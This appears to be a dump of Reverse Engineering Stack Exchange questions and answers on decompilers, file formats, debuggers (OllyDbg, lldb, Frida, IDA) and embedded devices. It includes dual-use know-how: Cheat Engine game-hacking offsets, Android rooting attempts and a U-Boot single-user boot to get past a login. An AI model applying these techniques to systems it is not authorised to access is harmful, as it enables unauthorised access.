<p>I understand C language decompilers are designed to decompile code produced by a C compiler, and that such decompilers have a lot of limitations and sometimes are actually wrong (in the sense that they produce C code that is not functionally equivalent to the assembly code they are generated from, though I don't understand why they would produce code that was not functionally equivalent).</p> <p>Does decompilation not really work if you are starting from hand-written assembly? I'm not talking heavily-optimized or obfuscated assembly; I can understand those might break decompilation in some way.</p>
Is decompilation significantly more limited when performed on handwritten assembly?
|assembly|decompilation|
<p>After having unsuccessfully looking for complicated things I tried to think like a software developer and I found this:</p> <p>CRC32 of &quot;534d504c00000200cdcde87e&quot; = 0xdddcdb3c</p>
27837
2021-06-13T12:01:56.180
<p>I'm trying to figure out the file format that the Roland TR-8S drum machine uses for importing/exporting drum kits. My goal is to replace the sample (PCM) data within a kit. It's a proprietary binary format and files have the extension <code>.t8k</code>. Here's what I have figured out so far:</p> <p>The format consists of multiple sections that start with a four character magic code each (<code>NAME</code>, <code>TONE</code>, <code>WAVE</code>, <code>SMPL</code> etc.). I'm focusing on the <code>SMPL</code> section first. Here is an example:</p> <pre><code>00000868 53 4d 50 4c 00 00 02 00 cd cd e8 7e 3c db dc dd |SMPL.......~&lt;...| 00000878 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00020878 53 4d 50 4c 00 00 02 00 cd cd e8 7e 3c db dc dd |SMPL.......~&lt;...| </code></pre> <p>After the 4 byte magic code there is a 32bit value (0x20000) that indicates the length of the PCM data which starts at 0x878. The PCM data is all zeros in this example. If the original sample data is shorter than 0x20000 it will get padded with zeros.</p> <p>The next four bytes (<code>cd cd e8 7e</code>) is a CRC32 of the whole PCM data (0x20000 zeros in the example).</p> <p>The four bytes after the CRC32 (<code>3c db dc dd</code>) are unknown. They change whenever the whole zero padded block of PCM data changes. Like the CRC32, they do not change if only the number of zero padding bytes changes, and they do not seem to be affected by factors outside of the <code>SMPL</code> block. If the values of these bytes are incorrect, importing the kit into the drum machine fails with a generic error message.</p> <p>I have tried <a href="https://reveng.sourceforge.io/" rel="nofollow noreferrer">CRC RevEng</a> but it did not find an algorithm. Also, it seems unlikely that the unknown bytes are an additional CRC.</p> <p>What might be the purpose of these four unknown bytes? Is there a method that can help me find out?</p>
Reverse engineering Roland TR-8S kit file format .t8k
|binary-analysis|file-format|crc|binary-diagnosis|unknown-data|
<p>Open the executable in resource hacker see if you can see them with that</p>
27862
2021-06-18T17:15:57.990
<p>I'm using OllyDbg v2 for debugging. Target is a simple executable file with few labels. It has been written in C++ builder. Looks like labels are located dynamically, so I can't get its text using OllyDbg, let alone changing the text. What should I do?</p>
Changing a label's text on window
|ollydbg|
<p>[RAX=0x33307EE0 + RCX=0x0 * 0x8] == [0x33307EE0+0x0] = <strong><code>0x33307EE0</code></strong><br /> compare whatever is at Address <strong><code>0x33307EE0</code></strong> with r9 register</p> <p>[RAX=0x33307EE0 + RCX=0x377F1FD0 * 0x8] == [ 0x33307EE0 + 0x1bbf8fe80] = <strong><code>0x1ef297d60</code></strong></p> <p>mov into rcx whatever is there at <strong><code>0x1ef297d60</code></strong></p> <p>you really need to find some reading/viewing material on assembly it is always better to read a book on subject matter instead of getting random tidbit advice from unknown strangers on a web service if you need to grasp the basics</p>
27863
2021-06-18T21:06:49.320
<p>I have the following instructions:</p> <p><a href="https://i.stack.imgur.com/2nVI3.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2nVI3.png" alt="" /></a></p> <p>The registers' values in the <strong>First instruction</strong> are:</p> <ul> <li>RAX=0000000033307EE0</li> <li>RCX=0000000000000000</li> </ul> <p>The registers' values in the <strong>Second instruction</strong> are:</p> <ul> <li>RAX=0000000033307EE0</li> <li>RCX=00000000377F1FD0</li> </ul> <p>What I did is:</p> <p>The first instruction offset is <code>[rax + rcx*8] = RCX(00000000) * 8 = 8</code><br /> So, the final result is <code>Address(33307EE0) + Offset(8)</code>.</p> <p>And the second instruction offset is <code>[rax + rcx*8] = RCX(377F1FD0) * 8 = BBF8FE80</code><br /> So, the final result is <code>Address(33307EE0) + Offset(BBF8FE80)</code>.</p> <p><strong>Are those results true?</strong> because I found the address is correct but the offset is still wrong.</p>
How can I get the correct offset from that instruction?
|memory|game-hacking|cheat-engine|
<p>The device is ROCKCHIP based. That being the case, there are PLENTY of tools that will allow you to dump the device ROM, then you can pick through it, and won't actually NEED adb.</p> <p>rkDumper is a very good one. Get it here: <a href="https://forum.xda-developers.com/t/tool-rkdumper-utility-for-backup-firmware-of-rockchips-devices.2915363/" rel="nofollow noreferrer">rkDumper</a></p>
27872
2021-06-21T23:38:29.273
<p>Lollipop 5.1.1 based device. OLD ES File Manager installed. (Yes, the exploitable one). I can copy to/from the device. I tried Kingo Root, Root Genius, Towel root, etc. None of those work. &quot;7 taps&quot; doesn't enable Developer mode, nor does 10, 20, or 100. I can't install a new image, and the device doesn't have volume buttons, so I can't get to recovery. Does anyone know what I need to do to enable adb?</p>
How do I get adb to work on a Rockchip RK3288 based android device running Lollipop 5.1.1?
|android|
<p>This is possible with a command like:</p> <pre><code>breakpoint set -a 0x100168ff4 -s testapp </code></pre> <p>as from <code>lldb</code>'s <code>help breakpoint add</code>, when you specify a module with <code>-s</code> then the address or expression passed with <code>-a</code>:</p> <blockquote> <p>will be treated as a file address in that module, and resolved accordingly. Again, this will allow lldb to track that offset on subsequent reloads. The module need not have been loaded at the time you specify this breakpoint, and will get resolved when the module is loaded.</p> </blockquote> <p>With many thanks to <a href="https://twitter.com/sdotknight" rel="nofollow noreferrer">Scott Knight</a> for the pointer on this.</p>
27883
2021-06-23T14:38:48.800
<p>I want to set a breakpoint at an offset within a file.</p> <p>I can do this fine if I launch the app, check where it is loaded with <code>image list testapp</code> and then add the offset of where in the binary I want the breakpoint e.g.:</p> <pre><code>breakpoint set -a 0x10100cff4 </code></pre> <p>Is there a way whereby I can set the breakpoint in one go without first checking the offset it is loaded at so that I can automate a task more easily. e.g. something similar to:</p> <pre><code>breakpoint set -a ((image list -o testapp)+0x100168ff4) </code></pre> <p>I suspect I could do it with Python however that is not working for me at the moment on Ubuntu so would prefer a way it can be done with lldb commands.</p> <p>Alternatively, I can add a breakpoint with:</p> <pre><code>breakpoint set --name function_name </code></pre> <p>but it is only one instruction I want to break on so still need to add an offset to that address as I then have a command that is performed when it is reached and then resumes.</p> <p>Thanks</p>
Set lldb breakpoint relative to ASLR slide
|breakpoint|lldb|offset|
<p>Delphi used not “Windows Forms” (a .Net framework) but a custom UI framework called VCL (Visual Component Library). The forms use a format called DFM and there exist editors that can extract and edit them, for example <a href="https://www.mitec.cz/dfm.html" rel="nofollow noreferrer">DFM Editor</a>.</p> <p>If you want to edit them manually, you can find out how the forms are serialized in the VCL sources (IIRC <code>streams.pas</code>). The bitmap data is probably stored as raw pixels, without any headers (metadata like width/height is provided by the form description) which is why you don’t find the signature.</p>
27892
2021-06-24T14:27:23.977
<p>I understand that this may seem like a really obvious question, but bear with me.</p> <p>I have this compiled game executable written in Borland Delphi 2010, it is based on the Win32 platform and is compiled in x86. It uses Windows Forms for the UI.</p> <p>I searched heavily and used Resource Hacker and IDR to go through the program. Both seemed to detect all Windows Forms really well (IDR a little bit better) and I am able to view the raw structures here:</p> <p><a href="https://i.stack.imgur.com/GRTcOl.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/GRTcOl.png" alt="enter image description here" /></a></p> <p><a href="https://i.stack.imgur.com/AzwPyl.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/AzwPyl.png" alt="enter image description here" /></a></p> <p>There are two types of definition in here: <code>Picture.Data</code> &amp; <code>Bitmap</code>. It seems that both are slightly different formats although they are still Bitmaps.</p> <p>Here is an example form with Bitmap (form_menu): <a href="https://pastebin.com/raw/r81sJRyq" rel="nofollow noreferrer">https://pastebin.com/raw/r81sJRyq</a></p> <p>Here is an example form with Picture.Data (form_submenu): <a href="https://gist.githubusercontent.com/sjain882/d33e261480d0f13c442ffb4b84d1d1ed/raw/0d188b2ed1673757e512236672c6b0c458ea74d1/form_submenu.txt" rel="nofollow noreferrer">https://gist.githubusercontent.com/sjain882/d33e261480d0f13c442ffb4b84d1d1ed/raw/0d188b2ed1673757e512236672c6b0c458ea74d1/form_submenu.txt</a></p> <p>Scroll down to the <code>Bitmap</code> or <code>Picture.Data</code> area. Here there is an ASCII representation of the image in hex. It turns out Delphi has its own custom image headers, and this differs between Bitmap and Picture.Data (the latter being <code>07 54 42 69 74 6D 61 70</code>).</p> <p>However, this is the header for the whole thing, which is a bunch of bitmaps clumped together it seems, in one {} bracketed area. The bitmaps themselves have the normal headers of <code>42 4D</code>.</p> <p>So... given all this information, I opened the assembly in IDA Pro and searched for these headers, many different types, different lengths. But all I found was this:</p> <p><a href="https://i.stack.imgur.com/op0xy.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/op0xy.png" alt="enter image description here" /></a></p> <p>Given whats right after this &quot;header&quot; i believe its just some string, highly doubt its an actual bitmap.</p> <p>So, this makes me think that the Windows Forms have their own encoding somewhere, instead of just storing raw bitmaps.</p> <p>Is there a good way of replacing these? I would be really grateful for any ideas. I came across <a href="https://reverseengineering.stackexchange.com/questions/22268/how-can-one-replace-bitmap-image-inside-exe">How can one replace bitmap (image) inside exe?</a>, but nothing much came of it...</p> <p>It would also be brilliant if I could change the entire windows forms (like dimensions of boxes etc) and the image formats, to allow for transparancy / alpha!</p> <p>Thanks in advance!</p>
How can I replace bitmaps & pictures that are defined inside a Windows Form? (Win32 Delphi x86)
|delphi|
<p><a href="https://hex-rays.com/products/ida/support/idadoc/1695.shtml" rel="nofollow noreferrer">Shifted pointer</a> should work, I think.</p>
27900
2021-06-26T10:47:48.430
<p>I'm reversing a Delphi program and have a part where it says:</p> <pre><code>Result = *(Self - 44); </code></pre> <p>But I want it to say something like:</p> <pre><code>Result = *(Self - offsetof(VMT_ClassDefinition, vmtClassName)); </code></pre> <p>Being VMT_ClassDefinition the following struct:</p> <pre><code>struct VMT_ClassDefinition { Cardinal vmtSelfPtr; Cardinal vmtIntfTable; Cardinal vmtAutoTable; Cardinal vmtInitTable; Cardinal vmtTypeInfo; Cardinal vmtFieldTable; Cardinal vmtMethodTable; Cardinal vmtDynamicTable; Cardinal vmtClassName; Cardinal vmtInstanceSize; Cardinal vmtParent; Cardinal vmtSafeCallException; Cardinal vmtAfterConstruction; Cardinal vmtBeforeDestruction; Cardinal vmtDispatch; Cardinal vmtDefaultHandler; Cardinal vmtNewInstance; Cardinal vmtFreeInstance; Cardinal vmtDestroy; }; </code></pre> <p>Where cardinal is unsigned int. The problem is that after using &quot;Right Click &gt; Struct offset&quot; on top of the number 44 it generates the following result:</p> <pre><code>Result = *(Self - offsetof(VMT_ClassDefinition, vmtSafeCallException)); </code></pre> <p>I was doing what is said in <a href="https://hex-rays.com/blog/new-features-in-hex-rays-decompiler-1-6/" rel="nofollow noreferrer">New features in Hex-Rays Decompiler 1.6</a> section 3, but as you can see the expected result and what I got is totally different.</p> <p>My guess is that it forgets about the &quot;-&quot; sign and just advances from the start +44. Is there a way to reverse this behavior? I know it can be done in ASM view by inverting with &quot;_&quot; and then pressing &quot;T&quot; like in <a href="https://hex-rays.com/blog/negated-structure-offsets/" rel="nofollow noreferrer">Negated structure offsets</a>, but that does not apply to the Pseudocode view.</p>
IDA Pro Reverse offset in struct
|ida|offset|delphi|
<p>Yes, it's obviously not CSV, what made you think it is? You should contact provider of the dataset or use the program that was supplied with it to read it.</p>
27908
2021-06-28T10:05:48.240
<p>I downloaded a file from this link <a href="https://storage.cloud.google.com/gresearch/smallcnnzoo-dataset/cifar10.tar.xz" rel="nofollow noreferrer">https://storage.cloud.google.com/gresearch/smallcnnzoo-dataset/cifar10.tar.xz</a>, and I successfully downloaded the archive file.I unzipped it using 7-Zip. After unzipping the file format type is file<a href="https://i.stack.imgur.com/NDmMP.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/NDmMP.png" alt="FileFormat" /></a>.</p> <p>I converted it to CSV extension but I am unable to read the data its encoded like below <a href="https://i.stack.imgur.com/MYYAa.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/MYYAa.png" alt="enter image description here" /></a></p>
Issue in opening a file type after unzipping
|file-format|encryption|decryption|
<p>The &quot;mystery&quot; function you refer to is called <code>__CheckForDebuggerJustMyCode</code> and is inserted by MSVC when <code>/JMC</code> (Just My Code debugging) option is enabled. From <a href="https://docs.microsoft.com/en-us/cpp/build/reference/jmc?view=msvc-160" rel="noreferrer">docs</a>:</p> <blockquote> <p>/JMC (Just My Code debugging)</p> <p>Specifies compiler support for native Just My Code debugging in the Visual Studio debugger. This option supports the user settings that allow Visual Studio to step over system, framework, library, and other non-user calls, and to collapse those calls in the call stack window.</p> <p>[...]</p> <p>The Visual Studio Just My Code settings specify whether the Visual Studio debugger steps over system, framework, library, and other non-user calls. The /JMC compiler option enables support for Just My Code debugging in your native C++ code. When /JMC is enabled, the compiler inserts calls to a helper function, __CheckForDebuggerJustMyCode, in the function prolog. The helper function provides hooks that support Visual Studio debugger Just My Code step operations.</p> </blockquote> <p>To verify that the &quot;mystery&quot; function indeed corresponds to <code>__CheckForDebuggerJustMyCode</code>, you can put the breakpoint in Visual Studio in the <code>main</code>'s first line, press <kbd>F5</kbd> to start debugging, and then <kbd>ctrl</kbd> + <kbd>alt</kbd> + <kbd>d</kbd> to show window with the assembly generated by the compiler. You will get something like this:</p> <p><a href="https://i.stack.imgur.com/hLqt8.png" rel="noreferrer"><img src="https://i.stack.imgur.com/hLqt8.png" alt="main's disassembly" /></a></p>
27917
2021-06-29T10:08:18.613
<h3>Introduction</h3> <p>I compiled a simple executable with Visual Studio in x64 Windows. Source code:</p> <pre><code>long test(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j) { printf(&quot;%d %d %d&quot;, a, b, c); return 0x0123456789acdef; } int main() { test(1,2,3,4,5,6,7,8,9,10); } </code></pre> <p>If you compile the executable with GCC, then you get what you'd expect: one function call in <code>main</code> (it calls <code>test</code>) and one function call in <code>test</code> (it calls <code>printf</code>).</p> <p>However, if you compile the executable with Visual Studio on an x64 Windows machine, then in both <code>main</code> and <code>test</code>, an additional call is made to some function. Let's call that function <code>mystery</code>. I'd like to know what the <code>mystery</code> function is for.</p> <h3>Code</h3> <p>Here is the disassembly of the <code>main</code> function. I have added a comment to show where the <code>mystery</code> function is called.</p> <pre><code>int main (int argc, char **argv, char **envp); ; var int64_t var_c8h @ rbp+0xc8 ; var int64_t var_20h @ rsp+0x20 ; var int64_t var_28h @ rsp+0x28 ; var int64_t var_30h @ rsp+0x30 ; var int64_t var_38h @ rsp+0x38 ; var int64_t var_40h @ rsp+0x40 ; var int64_t var_48h @ rsp+0x48 ; var int64_t var_50h @ rsp+0x50 push rbp push rdi sub rsp, 0x118 lea rbp, [var_50h] lea rcx, [0x1400c1003] call fcn.140034cf1 ; Mystery function here! mov dword [var_48h], 0xa mov dword [var_40h], 9 mov dword [var_38h], 8 mov dword [var_30h], 7 mov dword [var_28h], 6 mov dword [var_20h], 5 mov r9d, 4 mov r8d, 3 mov edx, 2 mov ecx, 1 call fcn.140033e73 xor eax, eax lea rsp, [var_c8h] pop rdi pop rbp ret </code></pre> <p>The same <code>mystery</code> function is also called in the <code>test</code> function:</p> <pre><code>test (int64_t arg1, int64_t arg2, int64_t arg3, int64_t arg4); ; var int64_t var_c8h @ rbp+0xc8 ; var int64_t var_20h_2 @ rsp+0x20 ; var int64_t var_8h @ rsp+0x100 ; var int64_t var_10h @ rsp+0x108 ; var int64_t var_18h @ rsp+0x110 ; var int64_t var_20h @ rsp+0x118 ; arg int64_t arg1 @ rcx ; arg int64_t arg2 @ rdx ; arg int64_t arg3 @ r8 ; arg int64_t arg4 @ r9 mov dword [var_20h], r9d ; arg4 mov dword [var_18h], r8d ; arg3 mov dword [var_10h], edx ; arg2 mov dword [var_8h], ecx ; arg1 push rbp push rdi sub rsp, 0xe8 lea rbp, [var_20h_2] lea rcx, [0x1400c1003] call fcn.140034cf1 ; Mystery function here!!! mov r9d, dword [var_18h] mov r8d, dword [var_10h] mov edx, dword [var_8h] lea rcx, str._d__d__d ; 0x14009ff98 ; &quot;%d %d %d&quot; call fcn.1400335b3 mov eax, 0x789acdef lea rsp, [var_c8h] pop rdi pop rbp ret </code></pre> <p>Here are the contents of the <code>mystery</code> function:</p> <pre><code>├ 60: mystery (int64_t arg1); │ ; var int64_t var_20h @ rsp+0x20 │ ; var int64_t var_8h @ rsp+0x40 │ ; arg int64_t arg1 @ rcx │ 0x1400387d8 48894c2408 mov qword [var_8h], rcx ; arg1 │ 0x1400387dd 4883ec38 sub rsp, 0x38 │ 0x1400387e1 488b442440 mov rax, qword [var_8h] │ 0x1400387e6 4889442420 mov qword [var_20h], rax │ 0x1400387eb 488b442440 mov rax, qword [var_8h] │ 0x1400387f0 0fb600 movzx eax, byte [rax] │ 0x1400387f3 85c0 test eax, eax │ ┌─&lt; 0x1400387f5 7418 je 0x14003880f │ │ 0x1400387f7 833d06fa0700. cmp dword [0x1400b8204], 0 ; [0x1400b8204:4]=0 │ ┌──&lt; 0x1400387fe 740f je 0x14003880f │ ││ 0x140038800 ff15fa770800 call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId] ; [0x1400c0000:8]=0xc0738 reloc.KERNEL32.dll_GetCurrentThreadId ; &quot;8\a\f&quot; ; DWORD GetCurrentThreadId(void) │ ││ 0x140038806 3905f8f90700 cmp dword [0x1400b8204], eax ; [0x1400b8204:4]=0 │ ┌───&lt; 0x14003880c 7501 jne 0x14003880f │ │││ 0x14003880e 90 nop │ │││ ; CODE XREFS from mystery @ 0x1400387f5, 0x1400387fe, 0x14003880c │ └└└─&gt; 0x14003880f 4883c438 add rsp, 0x38 └ 0x140038813 c3 ret </code></pre> <h3>Notes</h3> <p>The call to <strong>KERNEL32.dll_GetCurrentThreadId</strong> in the <code>mystery</code> function seemed interesting, but I couldn't find any information about functions, which get added by the compiler and call GetCurrentThreadId.</p> <p>The question arose because I was studying the Microsoft x64 calling convention and I noticed that the <code>mystery</code> function didn't seem to use &quot;home space&quot; (also known as &quot;shadow space&quot;, 32 bytes of space on the stack that's assigned to each function). I wanted to know what that function is and why home space wasn't assigned to it.</p> <p>So the question is, what is the <code>mystery</code> function?</p>
The compiler adds a function call to user-defined functions. What does the function do? (x64 Windows executable)
|disassembly|
<p>The issue was that <code>w9</code> is a 32-bit register and I was using a 64 bit device. By calling <code>this.context.x9</code> for the 64 bit register the Frida script worked perfectly. Many thanks to @whoopdedoo, their suggestion to log <code>this.context</code> was what led me to search more about ARM registers and realise my mistake.</p>
27925
2021-07-01T11:48:40.627
<p>I have an instruction that looks like this in Ghidra:</p> <pre><code> 100168ff0 e9 13 00 32 orr w9,wzr,#0x1f </code></pre> <p>Using <code>lldb</code> I can set a breakpoint on the instruction after this, read <code>w9</code> to confirm what value it is storing and modify it if needs be.</p> <p>I am trying to do something similar with Frida with the following script:</p> <pre><code>var t_module = 'testApp'; var loadAddress = Module.getBaseAddress(t_module); var instructionOffset = ptr(0x168ff4); var toAtt = loadAddress.add(instructionOffset); Interceptor.attach(toAtt, { onEnter: function(args) { console.log(&quot;[+] Module base address found at &quot; + loadAddress) console.log(&quot;[+] Found instruction at &quot; + toAtt) console.log(&quot;[+] Attempting to read w9: &quot; + this.context.w9) } }); </code></pre> <p>however trying to read <code>w9</code> just returns <code>undefined</code>. It is defined <a href="https://frida.re/docs/javascript-api/#aarch64-enum-types" rel="nofollow noreferrer">here</a> so is not that Frida is calling it something else.</p> <p>I can confirm the right address is being reached using:</p> <pre><code>Memory.readByteArray(ptr(&quot;0x102ab4ff0&quot;),4) </code></pre> <p>where <code>0x102ab4ff0</code> is the address printed by the script, and comparing it to the instruction at the beginning from Ghidra.</p> <p>I'm not sure if I've misunderstood something about Frida or where I should attach. <a href="https://reverseengineering.stackexchange.com/questions/21701/dump-value-of-register-using-frida">This</a> is the closest question I could find and that just says to use <code>this.context.eax</code>.</p>
Read and write to register with Frida
|ios|register|frida|arm64|aarch64|
<p>I managed to read /etc/passwd and /etc/shadow after adding &quot;single&quot; to command line parameters.</p> <p>However, I've read that the &quot;bootargs&quot; environment variable stored the parameters, but modifying it (with setenv) didn't changed anything.</p> <p>So after more careful reading of environment variabes, I've seen that I add to create a new variable called &quot;extrabootargs&quot; to add my parameters.</p> <p>Thanks.</p>
27931
2021-07-01T21:11:30.793
<p>I've saved from the trash bin an embedded system using an OPOS6UL (<a href="http://www.armadeus.org/wiki/index.php?title=OPOS6UL" rel="nofollow noreferrer">http://www.armadeus.org/wiki/index.php?title=OPOS6UL</a>) as Single Board Computer. It was easy to get an UART console, but I cannot log in because I don't know the password.</p> <p>What can be ways to get root access ?</p> <p>I think :</p> <ul> <li>try common passwords/development kit default password =&gt; not working</li> <li>brute-force the password : too long, I have to wait several seconds between retries</li> <li>dump the eMMC to read /etc/passwd : hardware dump is impossible, is it possible from u-boot ?</li> <li>any other idea ?</li> </ul> <p>Here is the boot log :</p> <pre><code>U-Boot SPL 2016.05 (Sep 22 2017 - 16:24:46) Trying to boot from MMC1 U-Boot 2016.05 (Sep 22 2017 - 16:24:46 +0200) CPU: Freescale i.MX6UL rev1.1 at 396 MHz Reset cause: POR Board: OPOS6UL DRAM: 256 MiB MMC: FSL_SDHC: 0 Video: 800x480x18 Net: FEC [PRIME] Hit any key to stop autoboot: 0 1152122 bytes read in 140 ms (7.8 MiB/s) 5243120 bytes read in 265 ms (18.9 MiB/s) 27370 bytes read in 116 ms (229.5 KiB/s) Kernel image @ 0x82000000 [ 0x000000 - 0x5000f0 ] ## Flattened Device Tree blob at 88000000 Booting using the fdt blob at 0x88000000 Using Device Tree in place at 88000000, end 88009ae9 Starting kernel ... [ 0.000000] Booting Linux on physical CPU 0x0 [ 0.000000] Linux version 4.8.10 (microlide@dev-armadeus) (gcc version 6.2.1 20161016 (Linaro GCC 6.2-2016.11) ) #1 PREEMPT Mon Oct 23 18:04:19 CEST 2017 [ 0.000000] CPU: ARMv7 Processor [410fc075] revision 5 (ARMv7), cr=10c53c7d [ 0.000000] CPU: div instructions available: patching division code [ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, VIPT aliasing instruction cache [ 0.000000] OF: fdt:Machine model: Armadeus Systems OPOS6UL SoM on OPOS6ULDev board [ 0.000000] cma: Reserved 16 MiB at 0x8f000000 [ 0.000000] Memory policy: Data cache writeback [ 0.000000] CPU: All CPU(s) started in SVC mode. [ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 65024 [ 0.000000] Kernel command line: console=ttymxc0,115200 root=/dev/mmcblk0p2 ro rootfstype=ext4 rootwait [ 0.000000] PID hash table entries: 1024 (order: 0, 4096 bytes) [ 0.000000] Dentry cache hash table entries: 32768 (order: 5, 131072 bytes) [ 0.000000] Inode-cache hash table entries: 16384 (order: 4, 65536 bytes) [ 0.000000] Memory: 222416K/262144K available (8192K kernel code, 365K rwdata, 2296K rodata, 1024K init, 8206K bss, 23344K reserved, 16384K cma-reserved, 0K highmem) [ 0.000000] Virtual kernel memory layout: [ 0.000000] vector : 0xffff0000 - 0xffff1000 ( 4 kB) [ 0.000000] fixmap : 0xffc00000 - 0xfff00000 (3072 kB) [ 0.000000] vmalloc : 0xd0800000 - 0xff800000 ( 752 MB) [ 0.000000] lowmem : 0xc0000000 - 0xd0000000 ( 256 MB) [ 0.000000] pkmap : 0xbfe00000 - 0xc0000000 ( 2 MB) [ 0.000000] modules : 0xbf000000 - 0xbfe00000 ( 14 MB) [ 0.000000] .text : 0xc0008000 - 0xc0900000 (9184 kB) [ 0.000000] .init : 0xc0c00000 - 0xc0d00000 (1024 kB) [ 0.000000] .data : 0xc0d00000 - 0xc0d5b6c0 ( 366 kB) [ 0.000000] .bss : 0xc0d5d000 - 0xc1560bc0 (8207 kB) [ 0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1 [ 0.000000] Running RCU self tests [ 0.000000] Preemptible hierarchical RCU implementation. [ 0.000000] RCU lockdep checking is enabled. [ 0.000000] Build-time adjustment of leaf fanout to 32. [ 0.000000] NR_IRQS:16 nr_irqs:16 16 [ 0.000000] Switching to timer-based delay loop, resolution 41ns [ 0.000018] sched_clock: 32 bits at 24MHz, resolution 41ns, wraps every 89478484971ns [ 0.000068] clocksource: mxc_timer1: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 79635851949 ns [ 0.002539] Console: colour dummy device 80x30 [ 0.002617] Lock dependency validator: Copyright (c) 2006 Red Hat, Inc., Ingo Molnar [ 0.002645] ... MAX_LOCKDEP_SUBCLASSES: 8 [ 0.002669] ... MAX_LOCK_DEPTH: 48 [ 0.002692] ... MAX_LOCKDEP_KEYS: 8191 [ 0.002714] ... CLASSHASH_SIZE: 4096 [ 0.002734] ... MAX_LOCKDEP_ENTRIES: 32768 [ 0.002756] ... MAX_LOCKDEP_CHAINS: 65536 [ 0.002777] ... CHAINHASH_SIZE: 32768 [ 0.002797] memory used by lock dependency info: 5167 kB [ 0.002820] per task-struct memory footprint: 1536 bytes [ 0.002902] Calibrating delay loop (skipped), value calculated using timer frequency.. 48.00 BogoMIPS (lpj=240000) [ 0.002951] pid_max: default: 32768 minimum: 301 [ 0.003414] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes) [ 0.003453] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes) [ 0.007619] CPU: Testing write buffer coherency: ok [ 0.009185] Setting up static identity map for 0x80100000 - 0x80100058 [ 0.018704] devtmpfs: initialized [ 0.075673] VFP support v0.3: implementor 41 architecture 2 part 30 variant 7 rev 5 [ 0.077702] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns [ 0.079738] pinctrl core: initialized pinctrl subsystem [ 0.088450] NET: Registered protocol family 16 [ 0.096017] DMA: preallocated 256 KiB pool for atomic coherent allocations [ 0.121662] cpuidle: using governor menu [ 0.235335] No ATAGs? [ 0.235421] hw-breakpoint: found 5 (+1 reserved) breakpoint and 4 watchpoint registers. [ 0.235466] hw-breakpoint: maximum watchpoint size is 8 bytes. [ 0.239662] imx6ul-pinctrl 20e0000.iomuxc: initialized IMX pinctrl driver [ 0.342756] mxs-dma 1804000.dma-apbh: initialized [ 0.354723] SCSI subsystem initialized [ 0.356743] usbcore: registered new interface driver usbfs [ 0.357205] usbcore: registered new interface driver hub [ 0.357732] usbcore: registered new device driver usb [ 0.371759] i2c i2c-0: IMX I2C adapter registered [ 0.371861] i2c i2c-0: can't use DMA, using PIO instead. [ 0.375130] i2c i2c-1: IMX I2C adapter registered [ 0.375243] i2c i2c-1: can't use DMA, using PIO instead. [ 0.375715] Linux video capture interface: v2.00 [ 0.376298] pps_core: LinuxPPS API ver. 1 registered [ 0.376342] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti &lt;giometti@linux.it&gt; [ 0.376490] PTP clock support registered [ 0.378804] Advanced Linux Sound Architecture Driver Initialized. [ 0.386157] Bluetooth: Core ver 2.21 [ 0.386451] NET: Registered protocol family 31 [ 0.386493] Bluetooth: HCI device and connection manager initialized [ 0.386657] Bluetooth: HCI socket layer initialized [ 0.386750] Bluetooth: L2CAP socket layer initialized [ 0.387093] Bluetooth: SCO socket layer initialized [ 0.393353] clocksource: Switched to clocksource mxc_timer1 [ 0.394955] VFS: Disk quotas dquot_6.6.0 [ 0.395154] VFS: Dquot-cache hash table entries: 1024 (order 0, 4096 bytes) [ 0.469809] NET: Registered protocol family 2 [ 0.473710] TCP established hash table entries: 2048 (order: 1, 8192 bytes) [ 0.473882] TCP bind hash table entries: 2048 (order: 4, 73728 bytes) [ 0.475577] TCP: Hash tables configured (established 2048 bind 2048) [ 0.475951] UDP hash table entries: 256 (order: 2, 20480 bytes) [ 0.476446] UDP-Lite hash table entries: 256 (order: 2, 20480 bytes) [ 0.478586] NET: Registered protocol family 1 [ 0.481133] RPC: Registered named UNIX socket transport module. [ 0.481189] RPC: Registered udp transport module. [ 0.481223] RPC: Registered tcp transport module. [ 0.481255] RPC: Registered tcp NFSv4.1 backchannel transport module. [ 0.490799] futex hash table entries: 256 (order: 1, 11264 bytes) [ 0.494511] workingset: timestamp_bits=30 max_order=16 bucket_order=0 [ 0.560068] NFS: Registering the id_resolver key type [ 0.560501] Key type id_resolver registered [ 0.560544] Key type id_legacy registered [ 0.562075] fuse init (API version 7.25) [ 0.587295] io scheduler noop registered [ 0.587357] io scheduler deadline registered [ 0.588550] io scheduler cfq registered (default) [ 0.599626] lcd_backlight supply power not found, using dummy regulator [ 0.636295] Console: switching to colour frame buffer device 100x30 [ 0.653101] mxsfb 21c8000.lcdif: initialized [ 0.657898] imx-sdma 20ec000.sdma: Direct firmware load for imx/sdma/sdma-imx6q.bin failed with error -2 [ 0.657979] imx-sdma 20ec000.sdma: external firmware not found, using ROM firmware [ 0.684856] 2020000.serial: ttymxc0 at MMIO 0x2020000 (irq = 18, base_baud = 5000000) is a IMX [ 1.346291] console [ttymxc0] enabled [ 1.354793] 2024000.serial: ttymxc7 at MMIO 0x2024000 (irq = 19, base_baud = 5000000) is a IMX [ 1.367774] 21e8000.serial: ttymxc1 at MMIO 0x21e8000 (irq = 219, base_baud = 5000000) is a IMX [ 1.459475] brd: module loaded [ 1.508714] loop: module loaded [ 1.523143] libphy: Fixed MDIO Bus: probed [ 1.530081] tun: Universal TUN/TAP device driver, 1.6 [ 1.535280] tun: (C) 1999-2004 Max Krasnyansky &lt;maxk@qualcomm.com&gt; [ 1.543022] CAN device driver interface [ 1.554083] flexcan 2090000.flexcan: device registered (reg_base=d0988000, irq=23) [ 1.567529] flexcan 2094000.flexcan: device registered (reg_base=d0990000, irq=24) [ 1.585840] pps 